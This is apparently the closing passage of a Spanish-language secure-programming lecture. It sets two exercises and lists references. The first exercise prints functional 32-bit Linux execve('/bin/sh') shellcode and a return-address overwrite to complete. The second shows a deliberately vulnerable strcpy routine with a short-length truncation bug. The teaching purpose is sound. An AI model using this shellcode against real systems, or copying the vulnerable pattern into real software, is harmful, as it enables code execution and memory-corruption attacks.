 Usar un asignador de memoria seguro (diferente a malloc
seguramente)
80
Ejercicio #1
Dado el siguiente código, completar con la dirección apropiada del
shellcode considerando una máquina de 32 bits.
char shellcode[]= “\x31\xc0”
“\x50”
“\x68””//sh”
“\x68””/bin”
“\x89\xe3”
“\x50”
“\x53”
“\x89\xe1”
“\x99”
“\xb0\x0b”
“\xcd\x80”;
int function(){
int * ret = _________________________
(*ret) = (int) shellcode;
}
int main() {
function();
}
81
Ejercicio #2
¿Qué esta mal en este código? ¿Cuál es el potencial problema de
seguridad que encuentra?
#define MAX_BUF 256
void BadCode(char * input ) {
short len;
char buf[MAX_BUF];
len = strlen(input);
if ( len < MAX_BUF )
strcpy(buf, input);
}
82
Bibliografía/Referencias
 CWE/SANS Top 25 most dangerous software errors
(http://www.sans.org/top25-software-errors y
cwe.mitre.org/top25)
 Belk M. et al. Fundamentals Practices for Secure
Software Development. SAFECode 2nd Edition. 2011.
 W. Stalling & L. Brown. Computer Security. Principles
and Practices. 2nd Edition. Pearson Educ. Inc. 2012.
 M. Howard , D. LeBlanc y J. Viega. 19 puntos críticos
sobre seguridad de software. McGraw Hill.2007
 Referencias puestas en cada diapositiva.
83
¡Gracias!
¿Preguntas?
84
Descargar